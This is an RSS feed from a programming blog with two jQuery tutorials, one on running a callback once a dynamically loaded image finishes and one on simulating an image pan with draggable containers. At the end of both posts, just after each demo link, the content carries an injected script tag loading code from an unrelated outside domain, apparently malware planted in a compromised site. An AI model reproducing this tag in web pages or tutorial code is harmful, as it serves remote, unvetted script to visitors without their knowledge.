<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elzo Valugi &#187; image</title>
	<atom:link href="http://blog.valugi.ro/tag/image/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.valugi.ro</link>
	<description>professional websurfing</description>
	<lastBuildDate>Sun, 25 Jul 2010 06:34:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Callback for image loading with jQuery</title>
		<link>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/</link>
		<comments>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 20:33:42 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[callback]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[loading]]></category>
		<category><![CDATA[preloading]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=439</guid>
		<description><![CDATA[How to check when a dynamically loaded image has loaded using jQuery. Useful when loading big images as a result of AJAX request and we you need to do extra actions at the end of image loading.]]></description>
			<content:encoded><![CDATA[<p>While I was doing the demo for my previous post about &#8220;<a href="http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/">simulating image pan jQuery plugin</a>&#8221; I&#8217;ve noticed that the first time that I was loading the script the actions were executed before even loading the image and resulting in failure. This days at my job I was doing a gallery plugin in jQuery and notice the same problem.</p>
<p>Sometimes you have to load dynamic images as a result of a AJAX request, and you want to be able to do things only after the image has finish loading. In this case the ready() function, which is a wrapper for the window.onload() function is not usefull, because it applies to the elements present at the beginning.</p>
<p>In this scenario you make a request and receive as a string a path for a new image you have to load.	This is usefull if you have big images and want to wait until the images are loaded before doing anything else.</p>
<p><code class="javascript"><br />
	$(document).ready( function (){<br />
		$.get(<br />
			'test.php',<br />
			function( data ){<br />
				//console.log(data); // ["test.jpg"]<br />
				var _image = new Image();<br />
				_image.src = data;<br />
				_image.id = 'newImageId';<br />
				$(_image).load( function(){<br />
					//once image is loaded add it to the div and remove the preloading<br />
					$("#imageContainer").append( _image ).removeClass('loading');<br />
					// do other stuff<br />
					_image.alt = "test image";<br />
				});<br />
			}<br />
		);<br />
	});<br />
</code></p>
<p>I&#8217;ve tested it in IE, FF, Chrome and works with cache enabled/disabled. The secret, not a big one, is the usage of AJAX <a href="http://docs.jquery.com/Ajax/load">load()</a> function which does a GET request in the background and allows a callback. The purpose of the load function is to inject some html code in the current page. If you want to change the src value for a current image and do a callback it will be a good idea to pass a random string to the GET request as your browser could cache the image name and content. </p>
<p><a href="http://dev.valugi.ro/jquery/check-dynamic-loaded-image/" target="_blank">Demo here</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/09/11/callback-for-image-loading-with-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simulating a Pan Image jQuery plugin</title>
		<link>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/</link>
		<comments>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:16:04 +0000</pubDate>
		<dc:creator>elzo valugi</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[pan]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://blog.valugi.ro/?p=319</guid>
		<description><![CDATA[Fact: jQuery has plugins for everything. Fact: you don&#8217;t have to use plugins for everything. Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like MbImgNavigator or ImageZoom. I implemented both but I wasn&#8217;t particularly satisfied with neither. [...]]]></description>
			<content:encoded><![CDATA[<p>Fact: jQuery has plugins for everything.</p>
<p>Fact: you don&#8217;t have to use plugins for everything.</p>
<p>Working on a custom javaScript intensive CMS I get the task of displaying a big image inside a controlled environment. I could have used a plugin like <a href="http://pupunzi.wordpress.com/2009/01/20/mbimgnavigator/">MbImgNavigator</a> or <a href="http://www.visual-blast.com/source/jqzoom/">ImageZoom</a>. I implemented both but I wasn&#8217;t particularly satisfied with neither.</p>
<p>So I created my own simulation that is just a couple of lines without even the need for something complex.<br />
What it does:</p>
<ul>
<li>checking if the image is bigger than then the restrictive container</li>
<li>modifies a envelope container to allow movement only between the calculated permitted limits</li>
<li>activates the drag (jQueryUI) by globally or by axis if only one of the dimensions is overlapping the limits</li>
</ul>
<p>If the image is smaller that the limits nothing happens.<br />
<code class="javascript"><br />
	$(document).ready( function (){<br />
		var overflow_x = 0;<br />
		var overflow_y = 0;<br />
		var _image_x = $('#imageTest').width();<br />
		var _image_y = $('#imageTest').height();<br />
		if( _image_x > 300 ){<br />
			overflow_x = _image_x;<br />
		}<br />
		if( _image_y > 300 ){<br />
			overflow_y = _image_y;<br />
		}<br />
		if( overflow_x &#038;&#038; overflow_y ){<br />
			$('#bckContainerImg').css(<br />
				{<br />
					height: (overflow_y * 2 - 300),<br />
					width: ( overflow_x * 2 - 300 ),<br />
					'margin-top' : -( overflow_y - 300),<br />
					'margin-left': -( overflow_x - 300)<br />
				}<br />
			);<br />
			$("#bigImg img").draggable({containment: '#bckContainerImg'}).css({ cursor: 'all-scroll'});<br />
		} else{<br />
			if( overflow_x ){<br />
				$('#bckContainerImg').css({width: ( overflow_x*2 -300 ), 'margin-left': -(overflow_x - 300) });<br />
				$("#bigImg img").draggable({ axis: 'x', containment: '#bckContainerImg' }).css({ cursor: 'e-resize'});<br />
			}<br />
			if( overflow_y ){<br />
				$('#bckContainerImg').css({ height: (overflow_y * 2 - 300),  'margin-top': -(overflow_y - 300),});<br />
				$("#bigImg img").draggable({ axis: 'y', containment: '#bckContainerImg' }).css({ cursor: 'n-resize'});<br />
			}<br />
		}<br />
	});<br />
</code></p>
<p>You can see a <a href="http://dev.valugi.ro/jquery/pan-image/">full demo here</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.valugi.ro/2009/07/31/simulating-a-pan-image-jquery-plugin/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
